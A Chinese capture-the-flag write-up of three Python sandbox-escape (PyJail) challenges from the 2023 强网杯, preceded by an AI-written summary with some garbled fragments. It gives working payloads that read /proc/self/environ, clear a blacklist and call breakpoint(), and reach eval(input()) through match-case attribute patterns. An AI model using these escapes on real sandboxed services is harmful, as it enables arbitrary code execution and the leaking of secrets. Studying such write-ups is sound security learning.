【PyJail】2023 强网杯
AI全文总结:
这是一篇关于PyJail挑战赛的技术博客文章。文章中主要介绍了三个不同的挑战题目和解决方案。以下是文章的主要内容:
一、前言部分简单介绍了作者参加这次挑战赛的经历和要分享的内容。接下来,针对三个挑战题目进行了详细的分析和解答。
二、在第一个挑战题目PyJail ! It's myFILTER中,提到了使用Python代码读取环境变量的方法。给出的代码片段
{print(open("/proc/self/environ").read())}
可以直接读取环境变量。三、在第二个挑战题目PyJail ! It's myRevenge中,提到了通过Python代码执行一些操作来删除黑名单并执行断点。首先可以使用help()查询
__main__
模块来读取文件信息。然后,通过两步操作实现目标:删除blacklist和执行breakpoint。给出的代码片段展示了这两个步骤的实现方法。四、在第三个挑战题目PyJail ! It's myAST中,主要涉及到Python的抽象语法树(AST)。题目要求只能使用白名单内的ast和builtins,并给出了一些思路,包括使用海象运算符
:=
绕过赋值语句的限制,使用python3.10的新特性获取属性,以及使用__
和__self_"绕过某些限制。最后的exp代码非常短,通过获取
len.self拿到
builtins module,然后获取
builtins['eval']和
builtins['input'],最终实现
eval(input())`的功能。这部分内容比较复杂,需要有一定的Python语法知识和AST的理解。
【PyJail】2023 强网杯
前言
水一水 2023 强网杯做了的几道题
Pyjail ! It's myFILTER !!!
非预期直接读取环境变量
{print(open("/proc/self/environ").read())}
Pyjail ! It's myRevenge !!!
可以先使用help()查询__main__
,读取文件信息
两步走:
- 删除blacklist
- 执行breakpoint
# 删除blacklist
{(z:=list(locals().values()),z[-2].clear(),"{inpu""t()}")[2]}
# 执行breakpoint
{locals()["__builtins__"].breakpoint()}
Pyjail ! It's myAST !!!!
import ast
BAD_ATS = {
ast.Attribute, # . 调用
ast.Subscript, # [] 调用
ast.comprehension, # 推导式
ast.Delete, # del
ast.Try, # try
ast.For, # for
ast.ExceptHandler, # except
ast.With, # with
ast.Import, # import xxx
ast.ImportFrom, # from xxx import yyy
ast.Assign, # a = xxx
ast.AnnAssign, # a: int = xxx
ast.Constant, # 114514
ast.ClassDef, # class
ast.AsyncFunctionDef, # async fun
}
BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance,
}
def is_safe(code):
if type(code) is str and "__" in code:
return False
for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
return False
return True
if __name__ == "__main__":
user_input = ""
while True:
line = input()
if line == "":
break
user_input += line
user_input += "\n"
if is_safe(user_input) and len(user_input) < 1800:
res = exec(user_input, {"__builtins__": BUILTINS}, {})
只能用白名单内的ast和builtins,思路如下:
- 赋值语句可以使用海象运算符
:=
绕过,属于ast.NamedExpr
,没有被ban - 获取属性,可以使用python3.10的新特性——match case来一层层获取
__
可以使用__
绕过
最后的exp其实很短,获取len.__self__
拿到builtins module
,然后获取builtlins['eval']
和builtins['input']
,最后eval(input())
match len:
case object(__self__=x):
pass
match x:
case object(eval=y):
pass
match x:
case object(input=z):
y(z())